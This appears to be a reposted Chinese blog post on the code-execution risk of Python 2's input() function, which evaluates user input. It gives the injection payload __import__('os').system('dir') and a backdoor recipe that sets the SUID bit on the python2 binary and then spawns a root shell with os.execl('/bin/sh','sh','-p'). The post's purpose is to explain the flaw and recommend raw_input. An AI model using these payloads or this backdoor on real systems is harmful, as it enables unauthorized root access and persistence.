python2的input,关于python2.x input函数的安全隐患
secret_value = 500
i = input('Guess secret_value:')
if i == secret_value:
print('you win!')
else:
print('you lose!')
input輸入secret_value結果如下:
raw_input()會將輸入的數據默認當成字符串
input()會自動識別數據類型,并且會將算式進行運算,這也是漏洞產生的原因
而在python3中,python3的input函數已經代替了raw_input函數,默認字符串輸出
用以下代碼實驗一下
c = 'john'
i = input('name:')
print(i)
輸入 1+1 和 c,看到結果都做了運算
利用input執行命令
輸入__import__('os').system('dir')執行dir命令,成功執行
因此,在python2環境的開發中,應盡量使用raw_input函數來代替input函數
一個簡單利用:
假設我們獲取了一臺服務器的root權限
我們可以用命令 chmod 4777 /usr/bin/python2 為二進制文件賦予特殊權限位(suid)
將 input('getshell:') 寫入py文件
接下來切換到普通用戶,運行腳本
input出輸入 __import__('os').execl('/bin/sh','sh','-p')
可以看到直接彈回一個root權限的shell
不過只是單單作為提權后的維持權限的后門
總結
以上是生活随笔為你收集整理的python2的input,关于python2.x input函数的安全隐患的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 利用PHP实现定时任务,利用php 实现
- 下一篇: qq网名叫什么好听